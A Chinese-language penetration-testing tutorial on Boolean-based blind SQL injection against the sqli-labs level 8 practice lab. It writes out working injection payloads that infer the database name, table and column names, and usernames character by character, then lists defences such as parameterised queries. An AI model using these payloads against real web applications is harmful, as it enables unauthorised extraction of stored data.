渗透测试之SQL注入(三)
字数 852 2025-08-15 21:32:18
SQL注入高级技术:Boolean注入详解
一、Boolean注入概述
Boolean注入是一种SQL注入技术,其特点是:
- 页面返回结果是Boolean型的(真/假)
- 通过构造SQL判断语句,观察页面返回结果是否正常来判断条件是否成立
- 适用于不显示详细错误信息的场景
二、Boolean注入实战环境
以sqli-labs第八关为例:
- 正常输入
?id=1:返回"You are in......"字段 - 错误输入
?id=1':不返回"You are in......"字段 - 利用这种差异作为判断依据
三、Boolean注入原理
类比思考:
- 如同向一个只能点头/摇头的人询问信息
- 通过一系列是/否问题逐步获取数据
- 需要大量询问才能获取完整信息
四、关键MySQL函数
Boolean注入依赖以下MySQL函数:
length(str):返回字符串长度substr(str, pos, len):从pos位置截取len长度字符(pos从1开始)mid(str,pos,len):同substrascii(str):返回字符串最左字符的ASCII值ord(str):同asciiif(a,b,c):a为条件,真返回b,假返回c
五、Boolean注入实施步骤
-
判断数据库名长度:
?id=1' and length(database())=8 %23 -
逐字符判断数据库名:
?id=1' and ascii(substr((select database()),1,1))>104 %23- 通过调整ASCII值范围确定具体字符
- 依次判断每个位置的字符
-
判断表名:
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>104 %23 -
判断列名:
?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>104 %23 -
提取数据:
?id=1' and ascii(substr((select username from users limit 0,1),1,1))>104 %23
六、自动化工具辅助
-
手工注入缺点:
- 工作量大
- 效率低
-
解决方案:
- 编写自动化注入脚本
- 使用sqlmap等工具辅助注入
七、防御措施
- 使用参数化查询
- 实施输入验证和过滤
- 最小权限原则
- 关闭错误信息显示
- 使用Web应用防火墙(WAF)
八、总结
Boolean注入是一种需要耐心和技巧的注入技术,适用于:
- 不显示详细错误信息的场景
- 只能通过页面返回差异判断结果的场景
- 需要逐步推断数据的场景
掌握Boolean注入技术有助于全面理解SQL注入的各种变体,提高渗透测试能力。